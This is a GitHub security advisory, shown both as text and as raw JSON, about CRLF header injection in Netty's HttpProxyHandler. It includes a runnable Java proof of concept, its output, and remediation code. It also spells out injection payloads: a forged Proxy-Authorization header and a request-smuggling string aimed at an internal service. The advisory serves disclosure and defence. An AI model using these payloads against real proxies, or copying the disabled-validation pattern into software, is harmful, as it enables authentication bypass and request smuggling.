GHSA-45Q3-82M4-75JR

Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40
VLAI
Summary
Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)
Details

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions)
Component io.netty.handler.proxy.HttpProxyHandler
Vulnerability Type CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
Impact HTTP Header Injection in CONNECT Proxy Requests
CVSS 3.1 Score 7.5 (High)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Related Advisory GHSA-84h7-rjj3-6jx4 (Incomplete Fix)

2. Affected Components

  • io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
    // ...
    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
        .withValidation(false);  // <-- VALIDATION EXPLICITLY DISABLED

    FullHttpRequest req = new DefaultFullHttpRequest(
        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

    req.headers().set(HttpHeaderNames.HOST, hostHeader);

    if (authorization != null) {
        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
    }

    if (outboundHeaders != null) {
        req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT VALIDATION
    }

    return req;
}

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

  1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
  2. User-provided outboundHeaders are added without any CRLF check
  3. The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses HttpProxyHandler with user-influenced outboundHeaders
  2. The application does not perform its own CRLF sanitization on header values

Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput);  // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format:

CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4=    <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
  Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
  Header accepted: YES (validation disabled!)
  Wire format:
    CONNECT target.com:443 HTTP/1.1\r
    host: target.com:443\r
    X-Forwarded-For: 1.2.3.4\r
    X-Forwarded-For: 127.0.0.1\r          <-- INJECTED
    X-Admin: true\r                        <-- INJECTED
    \r

  Injected X-Admin header in wire: true
  VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
  With validation=true:
    SAFE: Rejected - IllegalArgumentException
  With validation=false:
    VULNERABLE: Accepted CRLF in header value!
    Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

if (outboundHeaders != null) {
    for (Map.Entry<String, String> entry : outboundHeaders) {
        HttpUtil.validateHeaderValue(entry.getValue());
    }
    req.headers().add(outboundHeaders);
}

8. Resources

Severity
2.9 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}



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